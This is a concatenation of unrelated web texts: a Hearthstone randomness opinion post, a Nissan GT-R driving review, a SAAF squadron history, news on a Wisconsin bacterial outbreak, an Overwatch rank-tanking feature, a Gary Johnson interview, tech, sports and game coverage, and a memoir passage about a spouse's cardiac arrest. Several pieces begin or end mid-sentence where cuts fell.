When I lose a game of HS, I can blame luck. When I lose a game of chess, I can only blame myself. This kills the game for me, game by game. Enough shots to my ego and boom! I stop playing Chess. With HS, I can still claim that with the right Huffer spawn or say playing a Combo Sabotage on the enemy Paladin with a Tirion and a Silverhand Recruit in front of me and hitting the Tirion would have got me a win. I’m happy to try again because ‘I’m that damn good’, my opponent is happy because they beat my RNG with skill and the game dev is happy because we’re still playing and buying packs. The problem is when randomness actively impacts the game on more than 2 or 3 turns out of 10, leading to an increasingly fragmented game where turn-to-turn decisions become less relevant because one big random swing ends the game.
I’ve had people go “But even a 3 year old child with one lung can see how broken this is omgwtfbbq (korean bbq for bonus pts)” about various things – suffice to say, if developing and balancing any game were that simple, you and I sir would be veterans at that business! The other thing of course is, we could be right – and the devs may well be testing something already that we aren’t aware of. Incidentally this is my biggest gripe with Counterplay – they don’t tell us their overall final picture, and seeing small fragments of it feels like terribly made abstract art to most of us as a result!
As a final note, let me refer to a game that by all means should have been the holy grail for non-random card games. The game is introduced very well –
Spectromancer!
A turn-based online fantasy card game, co-designed by Magic: The Gathering’s Richard Garfield and Alexey Stankevich, creator of Astral Tournament and Astral Masters, Spectromancer allows players to participate in a magical duel against other mages by strategically summoning creatures and casting spells.’
The HS player Kolento I believe still plays this one. This game has no randomness – none – and suffers for it. Players, given the chance, blame everything but themselves for their loss (you and I both) – RNG, better cards, Devs giving streamers stacked decks (yep, this too) and when none of these can happen – as in Spectromancer –
‘Each of the twenty cards in your deck has some different effect. So do your opponent’s cards. The winner ends up being the person who has the right one card in their deck of twenty to counter the other player’s attacks.’ – the very design of the game. The game itself is deep, but it fails to hold the attention of the casual gamer – not because its complex – but because the winner is in fact, the better player.
In today’s market, randomness has a rather non-random place to hold in games. We don’t want too much of it, sure, but pleasing everyone is not just difficult, it’s impossible. And keeping people playing the game is and should definitely be a higher priority.
Oh, and as for Grincher – gonna do a qualitative/quantitative analysis of its outcomes soon, we still got a few days |
led down the back straight, eventually hitting fourth gear and braking woefully late for a quick left and right. The GT-R scrubbed off as much speed as it could with two wheels barely contacting the tarmac and then we laid into the throttle, hoping to power out of the bend. Understeer. Loads of it. With the wheel almost locked to the right, we slid 15 feet towards the curbing on our left. A quick lift off the throttle, a correction on the wheel and we were back on line heading into the steep banking of turn seven. We pulled off into the pits to reassess everything we held dear about the advanced electronics and their role with our ham fists at the wheel. We had to learn from the best, so we walked over to the only red GT-R in attendance, sat down in the passenger's seat and introduced ourselves to Steve Millen.If you don't know Steve Millen, look it up. In short, the man's a racing and tuning legend and knows as much about Nissan as Mr. K himself. "You ready?" Millen asks as I double-check the strap on my helmet. "Definitely," I reply, as the corner worker gives us a wave onto the track.Millen lays into the long pedal and sets up for the first slight right. He almost clips the apex cone and then heads up the hill into turn two with the right tires inches away from the desert sands that surround the track. He lifts, down shifts and chucks the wheel to the left, countersteering slightly while applying judicious amounts of throttle. We rocket out of the corner and up into the chicane at the top of the hill. A quick yank to the left, then the right and he's back on the power grabbing one gear after another as we eat up the back straight and head into the bends that eluded me minutes earlier. The massive Brembos are applied within an inch of their life and the only thing stopping my heart from landing on the dashboard is the seat belt across my chest. He flicks the wheel left, gives it a touch of gas, and then yanks the wheel right and powers out, tracking smoothly to the curbing. It's obvious now. The GT-R must be manhandled. After two more laps with Mr. M, I get back behind the wheel with my newfound knowledge and give it another go.This time, it all clicks. My lines are cleaner, my brake points are well defined and my steering inputs are much sharper, but hardly as smooth. For a vehicle on the high side of two tons, the GT-R is eminently chuckable. Come into a corner, brake late, yank the wheel in the desired direction, start feeding in the throttle and then boot it – let the electronics sort out the rest. It's a revelatory machine and there's nothing on the road that can even come close for the money.And that may have been the biggest revelation. The Nissan GT-R maxes out the bang-for-the-buck quotient like no other vehicle, but does so in a way that will only appeal to a select group of drivers. Whereas the similarly priced Z06 is the culmination of decades of refining the traditional FR arrangement, the GT-R takes everything Nissan knows about physics and speed and condenses it into a cohesive package that changes your very perception about what's possible behind the wheel. It won't bend the space-time continuum, but it comes closer than anything before it. And like the Skyline GT-Rs of yore, it has the potential to revolutionize everything we as drivers hold dear.2 Squadron is a squadron in the South African Air Force which was formed in 1940.[1][3] The squadron has a long history, having been involved in every single combat action in which the SAAF has taken part. During the Second World War it made a name for itself in the battles for East Africa, before distinguishing itself in North Africa as part of the Desert Air Force, and later in Italy.
World War II [ edit ]
The squadron was established on 1 October 1940. During the initial years of the war, 2 Squadron served as part of 1 Bomber Brigade in the East African Campaign and the North African Campaign. After August 1943, it also saw action in Sicily, Italy and Yugoslavia.[3]
During the Second World War the squadron operated the following aircraft:
World War 2 era SAAF 2 Squadron killboard
Korean War [ edit ]
A No. 2 Squadron F-86F, 1953.
The squadron was South Africa's contribution to the United Nations war effort during the Korean War from November 1950 to December 1953. 2 Squadron[5] was attached to the 18th Fighter-Bomber Wing U.S. Air Force for the duration of the war.[6] Initially flying the P-51 Mustang, the squadron re-equipped with the F-86 Sabre in February 1953. During the war the squadron flew a total of 12,067 sorties, most being dangerous ground attack missions. 74 of the 94 Mustangs and 4 out of the 22 Sabres were lost, along with 34 pilots.
For its actions, the squadron received the Republic of Korea Presidential Unit Citation, United States Presidential Unit Citation, and numerous other awards and decorations.[7]
The Commanding Officer of the 18th Fighter-Bomber Wing, issued a directive at the end of the war that:[8]
“ In memory of our gallant South African comrades, it is hereby established, as a new policy that at all Retreat Ceremonies held by this Wing, the playing of our National Anthem shall be preceded by playing the introductory bars of the South African National Anthem, 'Die Stem van Suid-Afrika'. All personnel of this Wing will render the same honours to this Anthem as our own. ”
Eleven Korean War SAAF casualties are buried at the United Nations Memorial Cemetery, Busan, South Korea.
After the Korean War 2 Squadron, based at Waterkloof AFB, was equipped with Sabres. The first aircraft to fly through the sound barrier over South African soil was a Sabre piloted by Captain Gerrie Moolman.
The Border War and post 2000 [ edit ]
Cheetah C as flown by 2 Sqn
Conversion to the new Mirage III occurred in 1963 and the squadron moved to AFB Hoedspruit at the end of 1978. The squadron fought in several engagements during the South-West Africa/Angola Border War.
They continued to fly the Mirages until October 1990. They later re-equipped with the Atlas Cheetah C and D, but remained 'on the books' during the hiatus between Mirage and Cheetah, not being officially disbanded at that point. Reconnaissance was also performed using Vinten Vicon 18 Series 601 pod. Regular night flying was performed and the aircrew also performed air-to-air refuelling operations with the Boeing 707 aircraft of 60 Squadron, until these were retired in 2007. The squadron participated in the annual SANDF force preparation exercises which includes using live weapons. During joint exercises with the German Luftwaffe in 2006, 40 live V3S "Snake" short-range air-to-air missiles were fired at the Denel Overberg Test Range.[9]
Moving to Louis Trichardt (now AFB Makhado) in January 1993, 2 Squadron became the sole front line combat jet squadron in the SAAF. Till 2 April 2008 the squadron operated the Cheetah C/D fighter aircraft and was equipped with 28 examples. The squadron flew 1010 hours in 2004.[10]
The last of the Cheetahs were retired on 2 April 2008, later that month the first new JAS 39 Gripen arrived. The SAAF accepted its first Gripen D in April 2008 and the final two Gripen D aircraft arrived in South Africa in July 2009. The first two Gripen Cs arrived on 11 February 2010 with deliveries ongoing as at October 2011. The squadron operates all the SAAF's Gripens except for the first Gripen D, which is assigned to the Test Flight and Development Centre at AFB Overberg.
SAAF 2 Squadron Gripen flight patch
Aircraft operated 1945–present [ edit ]
References [ edit ]
Bibliography [ edit ]By of the
State and federal health officials are scrambling to learn how Elizabethkingia anophelis, a bacteria linked to 18 deaths and 44 cases of infection in southern Wisconsin, has been spreading.
The investigation, which began when six cases were reported to the state between Dec. 29 and Jan. 5, now includes several dozen Wisconsin epidemiologists and lab workers as well as five "disease detectives" sent from the Centers for Disease Control and Prevention.
The cases come from 11 counties: Columbia, Dane, Dodge, Fond du Lac, Jefferson, Milwaukee, Ozaukee, Racine, Sauk, Washington and Waukesha.
Signs and symptoms of illness that result from exposure to the bacteria include fever, shortness of breath, chills or cellulitis, a bacterial skin infection. Confirmation of the illness requires a laboratory test.
The CDC said at least some of the patients fell ill after being admitted to a hospital. Others were residents in either a nursing home or skilled nursing facility.
State Health Officer Karen McKeown said the number of infections is expected to climb.
"We've been getting reports pretty much every day, so we do think this is an ongoing outbreak," said Chris Braden, deputy director of the CDC's National Center for Emerging and Zoonotic Infectious Diseases. So far, no other states have reported cases.
Braden said the infection is so rare that there is no national surveillance for it. No one knows how many people are sickened or die from the infection each year.
A woman who contacted the Journal Sentinel on Thursday said her 87-year-old mother was found to have the bacteria in her bloodstream before she died on Sunday.
Investigators from the CDC have swabbed the shower head and faucet at the assisted-living home in Muskego where the woman lived, her daughter said. The woman asked that the Journal Sentinel not publish her name or the name of her mother in order to protect their privacy.
The daughter said her mother was lethargic and having a hard time breathing when she was taken to Waukesha Memorial Hospital on Tuesday. She died Sunday in hospice.
Her daughter said her mother had some blood work done a month earlier with concerning results, and was planning to see a specialist soon. She also had battled two sinus infections recently.
Most of the Wisconsin patients have been over age 65 and all of the deaths have occurred in people with severe chronic conditions, such as cancer, renal disease, cirrhosis and diabetes.
Although there have been previous outbreaks of this bacterial infection, the one in Wisconsin appears to be different in two respects. The bacteria is causing severe infections this time. And the cases are not concentrated in one facility, such as a hospital or nursing home, or even in one community.
McKeown said that after learning of the first six cases, the state quickly alerted hospitals and labs. However, the public was not informed until Wednesday night.
"Deciding when to tell the public is a balancing act, between transparency and the fear that sharing the information might create," McKeown explained.
Elizabethkingia anophelis — named after the American bacteriologist Elizabeth O. King, who first described it in 1959 — poses a challenge for doctors because it is resistant to many antibiotics. However, a few antibiotics are effective and are being used to treat the Wisconsin patients.
The infection gets into the bloodstream, causing a sepsis in the most severe cases. Sepsis is a potentially fatal reaction to infection that disrupts the circulation, diverting blood from the organs that need it most to other areas that have less urgent need.
Often the bacteria can lurk in a sink or in water and spread to those who come in contact with it. Investigators have searched for a common environmental link, and have even considered whether the bacteria could have been present in skin creams.
So far, though, "we haven't found that common thread," McKeown said.
The medical community has known about the bacteria for a long time, and its presence in the environment "is ubiquitous," said Nasia Safdar, medical director of infection control at the University of Wisconsin Hospital and Clinics.
But it is people with intensive exposure to medical environments, to medical devices and to fluids who are most at risk. Even in these conditions, infections are rare, Safdar said.
"It is not the kind that is common in the community," she said. "It is not something one gets just walking around."
Early detection critical
Because Elizabethkingia, a type of bacteria known as Gram-negative, is resistant to many of the antibiotics doctors typically use to treat infections, early detection is considered critical, according to the CDC. State health officials have alerted doctors and hospitals to be on the lookout for possible cases.
Elizabethkingia bacteria are rarely reported to cause illness in humans.
When the CDC asked facilities in Wisconsin how often they see the infection, most said they see between zero and two cases in a given year.
No cases of the infection that match the Wisconsin strain of the bacteria have been found in Illinois, said Melaney Arnold, a spokeswoman for the Illinois Department of Public Health.
No cases have been reported at the UW hospital, Safdar said, though its doctors have provided advice to another medical facility treating a case of the disease.
Leah Huibregtse, a spokeswoman for UnityPoint Health Meriter Hospital in Madison, said two cases of the infection have been treated at the hospital since 2014. She said that for privacy reasons, she could not discuss the specifics of the two cases.Image: Supplied
It's possible to hit rank zero in Overwatch's competitive mode. Dale "Bacontotem" Brown knows. He's done it. There's a caveat, though: it takes a hell of a lot of work.
Overwatch's first competitive season's skill rating system graded people on wins/losses and their personal performance. Each player received a number somewhere between 1 and 100. Most players ended up between 40-50, the middle of the pack. Of course, nobody was content with their ranking. People always aimed higher, clutched at pearls of arbitrary numerical greatness. Well, almost everybody.
Dale "Bacontotem" Brown and a handful of others scattered across the world wanted to see the other side of the coin. They aspired, hoped, and dreamed of... hitting rock bottom. Even if that meant pissing off a whole lot of people.
"I think it was last Tuesday I accidentally won a match, and so we had to spend another eight hours grinding back down to rank one."
"After I got my ranking points," Brown told me in an interview, "it dawned on me one day: your average medium-skill person's probably going to be trying to show off, get started on Twitch, and everybody's going to be following all the high level players because there's just going to be a natural audience for them. I got curious: what's going on down at the bottom? I'm sitting there thinking, 'I'm not that great at these FPSes. Let's go see how bad it gets.'"
So began the journey. Brown decided to focus on Hanzo, mostly because he wanted to troll people who pick him to sate their dragon fetish and not, you know, to help the team in any meaningful way. Then, by losing match after match, he fell. He decided to document the whole process by way of streams and posts on Something Awful's forum. Naturally, patterns emerged.
"What I found was that the people in the 40s were much more willing to try and still work together because these are probably people like me who are winning some but losing more," Brown said. "Then when I got into the 30s, I was starting to see people who still have vague hope."
Overwatch's season one skill rating system was never intended to be a straightforward progression. Through hard work and diligence, you could slowly, painstakingly gain a fraction of a rank, but if you lost even a couple times in a row, you'd almost certainly take a nasty spill down the skill rating ladder. Ultimately, the system was meant to balance out. You were supposed to move up and down within a general ballpark of numbers. Blizzard didn't do a super great job of making that apparent, though. As Brown observed, that led to players with chips on their shoulders and burning mounds of salt in their hearts.
"In the mid-30s, I met the angriest people in the world," Brown said. "It's somewhere in that mid-30s and upper 20s [area], these are just the angriest people in the world. They think they should be doing better and they're really not good enough, or these are just people stuck on really bad streaks."
One of those extremely angry people accidentally turned Brown's Hanzo from a curiosity to a full-blown meme. "Some dude badly spelled Hanzo [in the in-game chat box] and just kept screaming, 'No Hanjo, Hanjo change please,'" Brown told me. "By the end of it he was even yelling at me over voice chat, 'HANZO CHANGE YOU FUCKING BASTARD.'"
Thus, Hanjo was born. Any time people asked Brown to switch characters, or even when they made less confrontational queries, for instance about his preposterously low rank, he'd reply with a simple phrase: "i hanjo."
How low can you go?
Overwatch's competitive mode season one skill rating system was designed to match players in ways that were, well, competitive. Obviously, that created a skill ceiling, but Brown discovered that it also created a skill floor.
"I'm not that great at these FPSes. Let's go see how bad it gets."
"I bottomed out at about 18," Brown explained, "where I could still pick Hanzo and my teams would just legitimately lose either via me being a bad character or by everyone else being self-devouring because they were angry that I refused to switch characters."
At that point, Brown hit a wall. "There's so few players down there that I kept getting the underdog [skill rating] bonus, " he said. "I'd be with some mid-20s verses other mid-20s, but because of the underdog bonus, if I won I'd gain a whole three-quarters to a one-and-half ranks per win."
During Overwatch season one, it wasn't uncommon to hear players complaining that a win would get them hardly any skill rating, but a loss could force them down a whole rank or more. Brown chuckled as he told me that he'd essentially become the opposite.
All the while, Brown says he came up against players who shared precisely two qualities: they were astonishingly bad, and — because they were playing competitive — they were astonishingly serious about it. They'd curse and spit and yell about that motherfucking Hanzo, even though they — not Hanzo — were the authors of their own demise (and ranking).
"They are at the bottom of the barrel and are in complete denial about it," said Brown. "I started seeing things like matches where Pharahs didn't know how to fly, Junkrats who shoot themselves with their own grenades, and Meis who don't know how to fire. Every single Widowmaker makes me feel like I'm the best sniper in the world."
To keep his losing streak alive, Brown began handicapping himself as much as he possibly could. "I was at the point where I was sabotaging myself so hard," he said. "I was on PC playing at a lower resolution, at a 30 frames-per-second cap, and on a console controller with all the settings shifted down to the absolute minimum so that my response time would be super low and horrible."
But even that wasn't always enough. So Brown enlisted help. He kept an eye on people in other parts of the world who were clearing trying to tank their ranks, and he also helped other Something Awful members bring theirs down to his level. "That's like my whole Battle.net friends list now," Brown said. "If Blizzard wanted to get rid of all of us, they would pretty much just look at my list."
Naturally, he met some Characters.
"One of the guys who beat me to rank one is on my friends list," said Brown. "His name is WorstReaperNA. He started about two weeks before I did on his descent, and he is much, much more hostile. He's even telling teams, 'I'm literally the worst Reaper and I beat you. What's going on?' I've accepted him as this dude who is role-playing as Reaper, only he's literally the worst Reaper. He's canonical, as far as I'm concerned!"
Not everybody in Brown's suicide squad is a dick, though. There's a quiet guy from Brazil who just plays. There's a Korean guy as well, and he also doesn't say a word as he stalwartly clings to his skill rating of one.
There are others, though, who are more in line with Brown's own sensibilities. "[Two of my friends] are part of our trademark naming scheme. Widowmaker is now Window Maker, and Tracer is Tracker."
GG EZ
It took months, but Brown ultimately pushed his skill rating down to one — and then below it. Blizzard, clearly, had not prepared for such a dogged pursuit of failure. Instead of granting him a shiny new rank, the game just reset his progress at rank one.
Brown made other discoveries about how the system fell apart at low levels, too. For instance, he'd often get matched with significantly higher ranked players because there were so few people populating ranks 1-10, but those people wouldn't get jack for their troubles. "Underdog protection is so extreme in some of these matches that people are only getting like 5 XP for a 20 minute match," he told me.
Other players, meanwhile, took to accusing Brown of being a booster — that is, somebody who tanks their rank and groups with friends so that those friends, even if they're ranked 50 or 60, can play against people in the 20s and 30s and reap the skill rating rewards of a "great" performance.
Despite other people's rage (and the fact that he truly hit the absolute bottom of the skill rating system), Brown said he never stopped having fun finding new and unique ways to lose.
"You can do the strangest gimmicks and see what you can getaway with," he told me. "For me it's all about seeing how hard can we push the enemy team and still lose the match. How close can we push that little dial going around to victory and still let it go at the last minute, to make it look like we're not trying to lose it?"
"I think it was last Tuesday I accidentally won a match, and so we had to spend another eight hours grinding back down to rank one," he added.
Failing forward
Blizzard's made some serious changes to the skill rating system for competitive mode season two (which kicks off at the start of September), things that will hopefully clear up practices like boosting. Despite big differences like a 1-5000 skill rating system, tiers, and the inability to group with people far outside your skill rating, Brown says he does, in fact, plan to continue Hanjo-ing his way to the bottom in season two.
"A tthe very least, I'm gonna do season two, and I may or may not do a season three," Brown said, adding that if season three kicks off around Christmas, he'll be too busy at work to put enough time into Overwatch shenanigans. "This is assuming I don't get banned in the process, because I guarantee I'm getting at least reported at least once a match."
Given that his circumstance is pretty crazy, I asked Brown if he thinks Blizzard is aware of him. "I have made myself known to Blizzard," he replied. "The night I hit rank one, I tweeted them the screen cap of it. Other people replied to my tweet, and 80 per cent of them were, 'This guy should be banned.' I'm fine with that. Most people are not going to get the Hanzo joke. If you got matched against my Hanzo, you did something wrong."
If nothing else, Brown and his friends haven't been banned yet. That's a good sign. Irate foes have asked Brown if he hopes to gain some form of tangible in-game reward for his troubles, but that's not it either. He wouldn't mind an "I Hanjo" voice line for shits and giggles, but it's not a make-or-break part of his plan, which he describes as a "bad player safari."
"I'm already at my end game," he said. "I'm enjoying my end game. I'm watching people go, 'Oh shit, it's Hanjo. I'm bad at this game.'"
"People are pissed," Brown added. "I wish more people would embrace the 'I Hanjo' way of thinking. A victory comes from enjoying the match, not winning or losing. Whatever little text pops on your screen, it doesn't matter. It matters that you had fun doing it."While much of the focus during the 2016 presidential campaign has been on the nominees of the two major political parties — Democratic nominee and former Secretary of State Hillary Clinton and Republican nominee Donald Trump — a third-party ticket for the White House was in Seattle this weekend to make its case as a viable alternative.
Gary Johnson and Bill Weld — one-time GOP governors in the “blue states” of New Mexico and Massachusetts, respectively — will be on the ballot in all 50 states as the Libertarian Party ticket for president and vice president.
The duo met with the press before hosting a rally at the Sheraton Seattle Hotel on Saturday afternoon, in which Weld emphasized their executive experience and decried Trump’s border wall and deportation plans as “the worst he has ever heard,” while Johnson referred to his campaign as the “six-lane highway down the middle,” as opposed to either front-runner creating more polarity in Washington D.C.
We sat down with Gov. Johnson one-on-one after the roundtable to get his perspective on several local issues.
Q: Seattle is currently grappling with a homelessness crisis. What do you see as the federal government’s role in addressing that issue?
Johnson: The federal government’s role … it really is a state’s role. It’s a state’s role, it’s a community’s role. A real Libertarian solution when it comes to homelessness, I think, it’s being able to design and build affordable housing without regard to regulations and rules that add so much to cost and really aren’t so much about health and safety, but zoning. And if the city of Seattle were to embark on an affordable housing model project, I’m sure they’ve got 20 acres somewhere that if you brought together architects and engineers could design 600 sq. ft. housing units … A bed, a place to cook, a commode, a shower, a desk. That would be some really affordable housing.
Q: What did you do as governor of New Mexico to create affordable housing in your state?
Johnson: You know, it really wasn’t an issue. It just wasn’t an issue.
Q: Sen. Bernie Sanders won the state’s Democratic caucus handily back in March (Sanders took 73 percent of the statewide delegate count, 67 percent in King County). How do you appeal to those voters, and how do you align with his views?
Johnson: Certainly when it comes to a woman’s right to choose. Marriage equality. Legalizing marijuana. Crony capitalism is alive and well. Let’s stop dropping bombs. Hey, we’re simpatico.
Economically? I do think that government can create equal opportunity. If Bernie Sanders supporters are looking for equal opportunity, I’m your guy. Coupled with all those other things I said.
Q: On the other side of the aisle, there’s a lot of disaffected Republicans in this state running for statewide office that have disavowed Donald Trump (including GOP gubernatorial candidate Bill Bryant, and U.S. Senate challenger Chris Vance). How do you reach out to those Republicans?
Johnson: Well, Bill Weld and myself both are proven small government guys. I mean, neither of us raised taxes one penny over the terms that we both served, and we were socially inclusive to go along with that, which I think most Republicans are. I think most Republicans could care less what you do socially, as long as you don’t force it on me. I think that’s most Republicans. I think that Donald Trump is the epitome of a lot of things that are wrong in this country, starting with immigration. We should embrace immigration. Deporting 11 million undocumented workers has a basis in untruth and mis-fact. Building a fence across the border is just nuts. Applying a 35 percent tariff to imported goods when currently that tariff averages 1.4 percent, who’s going to pay for that? Well, you and I are going to pay for that.
Q: As you mentioned, this is a state that legalized marijuana (in 2012). What do you think was learned through that process here that could be applied nationally as part of your platform?
Johnson: Well, being very familiar with what has happened in Washington — and by the way, I applaud Washington State for legalizing marijuana — but I think that what has happened in Washington State is that too many taxes have been applied to it so that the black market is still the market that most people who’ve used it for forever still utilize the black market in lieu of legal marijuana. So I know that Washington State has taxed the product far too many times before it gets to the end user.
Q: You are a supporter of the Trans-Pacific Partnership (TPP). How did you come to that decision when the other candidates running are against it?
Johnson: A pledge running for president is that I’m going to sign on to things that make things better, and in this case I do believe that the TPP makes things better. I do believe the TPP creates more jobs, in this case protecting intellectual property. In the case of Washington State, where you are exporting more goods than any other state in the country, TPP should bode very well for Washington State.
For more information on Johnson’s campaign, visit www.johnsonweld.com.CNET/James Martin
Samsung CEO Stephen Woo unveiled a new super 8-core micro processor during a keynote address at the Consumer Electronics Show in Las Vegas today.
The Exynos5 Octa is a processor that has two sets of four-core processors each. It's made to run intense apps while also conserving energy when handling basic tasks, Woo told the audience. He showed off a few demos of the new processor. The key function of the chip is to allow users to do several things at once while also making sure that the battery is not drained too quickly.
In one demo, he showed a search for dining options on a Samsung tablet. The tablet pulled up several sites like Urbanspoon, Google Maps, etc. -- and it was able to do this without any disruption in the browser, Woo said. He also promised no dropped frames or stutters in HD movie playback. This chip is designed for high-end smartphones and tablets.
Glen Roland, vice president and head of mobile platforms for Electronic Arts, came on stage to show a demo of a 3D game. Roland said Samsung's chip is about more than the speed of the processor -- it's about the multitasking and 3D capabilities.
CNET/James Martin
The chip gives users a completely new level of performance on a mobile device, Woo said. But at the same time, the Octo chip also offers up to 70 percent savings on batteries due to the new silicon, he said.
The new Exynos5 Octa is the next product in a line of processors using the Exynos name. Woo said the company has these processors already in 53 million devices. Last year, the company introduced its Exynos5 dual processor, which is what's inside the Nexus 10 and Chromebook devices.BILL PLASCHKE Clippers hold the floor now at Staples Center
You can hear the difference between today's Clippers and Lakers. For crowd noise, player effort, shoe squeaks, it's the Clippers that have pumped up the volume.
Then there is the bench, where, on Tuesday night against Oklahoma City, the Clippers' best player was standing and directing like a coach, Chris Paul hobbled but not silenced. He was joined by a gesturing Ronny Turiaf, a preaching Chauncey Billups, a towel-waving Lamar Odom, everyone involved, everyone buying in. The Lakers bench may have a cheerleading Robert Sacre, but the Clippers have a half dozen of him.
When the Lakers play, with the exception of a few hard Kobe Bryant breaths, this same court is quiet. When occupied by the Clippers, it absolutely screams.
It continues with the court, which squeaks and thumps and rumbles when the Clippers are covering it with the sort of effort that sends Blake Griffin sweat spitting into the stands.
It starts with the lights. The Clippers never dim the Staples Center lights, allowing their shrieking crowd to become one with their soaring team. The Lakers darken the arena as if they are performing in a nightclub, the Clippers act like they are playing Coachella.
It ends on the scoreboard, where, on Tuesday, the Clippers felt the pain of Paul's injured knee in losing, 109-97 to the Thunder. But the scoreboard has produced standings that made this the battle of the NBA's two best teams. And after the first half of the most upside-down season in this town's NBA history, the scoreboard has helped provide the Clippers with a moniker they once loathed, but should now love.
They are the anti-Lakers. And, for once, that is a very good thing.
Watching the weary, undermanned Clippers battle for every inch of Tuesday night against the rested Thunder was a stark contrast to watching the Lakers the previous night in Chicago … or two days earlier in Toronto … or wherever, whenever in this odd winter.
It's not just that the Clippers have a legitimate chance to be playing these Thunder for the Western Conference championship in May and the Lakers already appear cooked. It's that the Clippers are performing with a level of dignified and spirited effort that the Lakers have long since surrendered.
It's how the Clippers are doing it.
It's how Blake Griffin showed up Tuesday night knowing he had to carry the team in Paul's absence, and so he did, beginning with one first-quarter possession in which he missed a runner, grabbed the rebound, missed a tip, grabbed another rebound and finally scored. He finished with 31 points, 11 rebounds and nine of 10 free throws. Hmmm, imagine, a big man unafraid to work on his foul shooting.
It's how the Clippers are working it.
It's how Eric Bledsoe was given Paul's starting spot and struggled with his shot but not his hustle. It's how Lamar Odom is finally finding himself from the bench, eight points and seven rebounds in 10 minutes. It's how the Clippers were repeatedly devastated by the eight combined three-pointers from Kevin Durant and Russell Westbrook, yet continually fought to stay in the game, whittling a 17-point deficit down to eight points with 1:20 remaining.
At that point, even though they were headed for certain defeat, they were still given a standing ovation by a crowd that wouldn't go home.
The only other more inspirational sound of the night was no sound at all, when a trampoline dunking team took the court during the first quarter break. All these acrobatic slams, and the crowd barely broke a yawn. When you come to a Clippers game, you don't need fabricated thrills. What they give you is real.
"They are legitimate, very legitimate," said the Thunder's Kendrick Perkins. "They're deep, they have a great leader, they have an underrated coach.… They are a force to be reckoned with."
Funny thing about that coach. During the summer, Vinny Del Negro was supposed to be in more trouble than the Lakers' Mike Brown.Tiger Knight: Empire War is a PvP-focused action strategy MMO set in the Third Century BC China. Players command an army, master combat moves, and compete in various PvP modes across war-torn Chinese landscapes.
Experience the action-packed medieval warfare in Tiger Knight: Empire War, an MMO strategy action game. Learn and master parrying, attacking, and shielding in four directions. Utilize a range of weapons, from swords to bows to polearms. Create a character from scratch, customizing facial features like eye color, eyebrow shape, age, and nose size. Give commands to troops in battle, ordering them to raid enemy camps, hold a position, or simply follow you around. Unlock new troops, equipment, and adjutants (generals) from different nations and dynasties such as Rome, Wu, Shu, and Wei. Conquer heavily defended forts with your teammates in the Epic War PvE mode. Fight it out with other players and their armies in Team Deathmatch Command mode or fight other Generals in Duel Mode. Join competitive matches to climb up the PvP rankings. Create or join a guild-like Legion, visit the in-game shop to purchase armor and weapons, and participate in events with exclusive rewards.
Full Review
Tiger Knight: Empire War Review
By, Marc Marasigan
Tiger Knight: Empire War is a PvP-focused 3D action strategy game set in 300 B.C. China, an era known as the Warring States period and marked with constant warfare and violence. The game puts players in the shoes of a Chinese general giving orders in the thick of battle. The game’s visuals might not be up to par with other recently released medieval-themed games, and the environments could benefit from a bit more detail, but the game still looks good, especially for a free-to-play game, and one obviously designed for mid-range rigs.
That being said, the game suffers from optimization issues that cause frame drops, especially in battle with hundreds of troops moving around at the same time. The separate lobby and match instances are also a bit of a put-off. Hopefully, these can be ironed out in future updates. Traditional Chinese music plays in the background which works quite well in setting the mood, but is quickly drowned out by the game’s arcade-y sound effects the moment troops clash together.
Lost In Translation
Upon logging in for the first time players go through two tutorial missions. The first tutorial deals with basic movement and combat, while the second focuses on advanced mechanics such as controlling troops in battle and capturing points of interest. While the first tutorial can be skipped, I’d recommend that new players go through it at least once to get the hang of the game’s slightly complex hack-and-slash controls, and gain currency rewards in the process. There are a few parts of the tutorial with translation errors that will have you scratching your head, but nothing that a trial and error and a little bit of common sense can’t fix.
Character Customization
After completing the tutorial |
Israel North.
We had come home.
We had discussed whether to go out for dinner or eat in.
I said I would build a fire, we could eat in.
I built the fire, I started dinner, I asked John if he wanted a drink.
I got him a Scotch and gave it to him in the living room, where he was reading in the chair by the fire where he habitually sat.
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The book he was reading was by David Fromkin, a bound galley of "Europe's Last Summer: Who Started the Great War in 1914?"
I finished getting dinner. I set the table in the living room where, when we were home alone, we could eat within sight of the fire. I find myself stressing the fire because fires were important to us. I grew up in California, John and I lived there together for 24 years, in California we heated our houses by building fires. We built fires even on summer evenings, because the fog came in. Fires said we were home, we had drawn the circle, we were safe through the night. I lighted the candles. John asked for a second drink before sitting down. I gave it to him. We sat down. My attention was on mixing the salad.
John was talking, then he wasn't.
At one point in the seconds or minute before he stopped talking he had asked me if I had used single-malt Scotch for his second drink. I had said no, I used the same Scotch I had used for his first drink. "Good," he had said. "I don't know why but I don't think you should mix them." At another point in those seconds or that minute he had been talking about why World War I was the critical event from which the entire rest of the 20th century flowed.
I have no idea which subject we were on, the Scotch or World War I, at the instant he stopped talking.
I only remember looking up. His left hand was raised and he was slumped motionless. At first I thought he was making a failed joke, an attempt to make the difficulty of the day seem manageable.
I remember saying, Don't do that.
When he did not respond my first thought was that he had started to eat and choked. I remember trying to lift him far enough from the back of the chair to give him the Heimlich. I remember the sense of his weight as he fell forward, first against the table, then to the floor. In the kitchen by the telephone I had taped a card with the New York-Presbyterian ambulance numbers. I had not taped the numbers by the telephone because I anticipated a moment like this. I had taped the numbers by the telephone in case someone in the building needed an ambulance.
Someone else.
I called one of the numbers. A dispatcher asked if he was breathing. I said, Just come. When the paramedics came I tried to tell them what had happened, but before I could finish they had transformed the part of the living room where John lay into an emergency department. One of them (there were three, maybe four, even an hour later I could not have said) was talking to the hospital about the electrocardiogram they seemed already to be transmitting. Another was opening the first or second of what would be many syringes for injection. (Epinephrine? Lidocaine? Procainamide? The names came to mind but I had no idea from where.) I remember saying that he might have choked. This was dismissed with a finger swipe: the airway was clear. They seemed now to be using defibrillating paddles, an attempt to restore a rhythm. They got something that could have been a normal heartbeat (or I thought they did, we had all been silent, there was a sharp jump), then lost it, and started again.
"He's still fibbing," I remember the one on the telephone saying.
"V-fibbing," John's cardiologist said the next morning when he called from Nantucket. "They would have said, 'V-fibbing.' V for ventricular."
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Maybe they said "V-fibbing" and maybe they did not. Atrial fibrillation did not immediately or necessarily cause cardiac arrest. Ventricular did. Maybe ventricular was the given.
I remember trying to straighten out in my mind what would happen next. Since there was an ambulance crew in the living room, the next logical step would be going to the hospital. It occurred to me that the crew could decide very suddenly to go to the hospital and I would not be ready. I would not have in hand what I needed to take. I would waste time, get left behind. I found my handbag and a set of keys and a summary John's doctor had made of his medical history. When I got back to the living room the paramedics were watching the computer monitor they had set up on the floor. I could not see the monitor, so I watched their faces. I remember one glancing at the others.
